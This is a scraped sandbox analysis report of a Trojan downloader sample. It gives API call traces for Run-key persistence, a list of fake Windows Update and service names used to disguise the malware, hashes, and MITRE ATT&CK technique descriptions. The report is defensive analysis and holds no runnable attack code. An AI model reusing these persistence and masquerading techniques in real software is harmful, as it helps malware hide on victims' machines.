RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000002,00000000), ref: 003F11ED
RegDeleteValueW.KERNELBASE(00000000,Windows Update 39405), ref: 003F121B
RegCloseKey.KERNELBASE(00000000), ref: 003F1227

Strings

h&?, xrefs: 003F1162
Windows Upgrade Manager, xrefs: 003F10CF
d"?, xrefs: 003F10DD
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 003F11E3
Windows Update Service Manager, xrefs: 003F110E
\$?, xrefs: 003F111C
Windows Update 49400405050, xrefs: 003F112A
WinCfgMgr, xrefs: 003F1107
Windows Update 7080607400, xrefs: 003F1123
Microsoft Windows Update Services, xrefs: 003F1115
(%?, xrefs: 003F1138
Windows Update 495006960, xrefs: 003F1154
Windows Update 362646246, xrefs: 003F114D
Desktop Window Manager, xrefs: 003F1100
Host Process for Windows Services, xrefs: 003F10F2
Microsoft Windows Service, xrefs: 003F10E4
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 003F1186
0&?, xrefs: 003F115B
Microsoft Windows Update Service, xrefs: 003F10EB
`%?, xrefs: 003F113F
Windows Update 75849348, xrefs: 003F1131
Microsoft Windows Driver Configuration, xrefs: 003F1169
Windows Update 39405, xrefs: 003F10C8, 003F11B9, 003F1216
0"?, xrefs: 003F10D6
\#?, xrefs: 003F10F9
Windows Update 4859540300, xrefs: 003F1146
Microsoft Windows Installer Svc, xrefs: 003F1170
@'?, xrefs: 003F1177

Memory Dump Source

Source File: 00000012.00000002.2075448396.00000000003F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000012.00000002.2075429083.00000000003F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000012.00000002.2075465997.00000000003F2000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000012.00000002.2075481764.00000000003F3000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000012.00000002.2075496400.00000000003F4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3f0000_300129380.jbxd

Similarity

API ID: CloseDeleteOpenSleepValue$EnvironmentExistsExpandFilePathStringswsprintf
String ID: (%?$0"?$0&?$@'?$Desktop Window Manager$Host Process for Windows Services$Microsoft Windows Driver Configuration$Microsoft Windows Installer Svc$Microsoft Windows Service$Microsoft Windows Update Service$Microsoft Windows Update Services$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$WinCfgMgr$Windows Update 362646246$Windows Update 39405$Windows Update 4859540300$Windows Update 49400405050$Windows Update 495006960$Windows Update 7080607400$Windows Update 75849348$Windows Update Service Manager$Windows Upgrade Manager$\#?$\$?$`%?$d"?$h&?
API String ID: 2575504554-2501668519
Opcode ID: 686e9f2868b53ed851826fd44dab8971b7186ceceb9a65337a6ab07752330cff
Instruction ID: 3d9dba7689559417f65f9b06fe92f6d55ce205a24015536bc21dd99dfc84c27a
Opcode Fuzzy Hash: 686e9f2868b53ed851826fd44dab8971b7186ceceb9a65337a6ab07752330cff
Instruction Fuzzy Hash: A241F6B990020CEBEB16CFE5E948ABFBBB4BB04709F204508E7057B251C7B45A48DF94

Function 003F1000 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 003F101A
wsprintfW.USER32 ref: 003F1033
PathFileExistsW.KERNELBASE(?), ref: 003F1043
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 003F1069
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 003F1085

Strings

%userprofile%, xrefs: 003F1015
^Iu, xrefs: 003F1043
%s\975666578.jpg, xrefs: 003F1027

Memory Dump Source

Source File: 00000012.00000002.2075448396.00000000003F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000012.00000002.2075429083.00000000003F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000012.00000002.2075465997.00000000003F2000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000012.00000002.2075481764.00000000003F3000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000012.00000002.2075496400.00000000003F4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3f0000_300129380.jbxd

Similarity

API ID: File$ChangeCloseCreateEnvironmentExistsExpandFindNotificationPathStringswsprintf
String ID: %s\975666578.jpg$%userprofile%$^Iu
API String ID: 2220190937-2121632346
Opcode ID: 14a97d898b15f3d5b6c803fd67416b17016e482cf978a9f4e5b39284148430ec
Instruction ID: 65382bdab4f4b8eecd3d6d66b58742f7a206251cc919aaf3be85704cbe322646
Opcode Fuzzy Hash: 14a97d898b15f3d5b6c803fd67416b17016e482cf978a9f4e5b39284148430ec
Instruction Fuzzy Hash: 05014FB154031DEBDB219B609C4AFF6733CAB44704F0086A4A719A60D1DEB45AC9DBA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\3[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\_3[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\2[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\_1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\_2[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\1[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\4[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\5[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\6[1]

Windows Analysis Report
SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre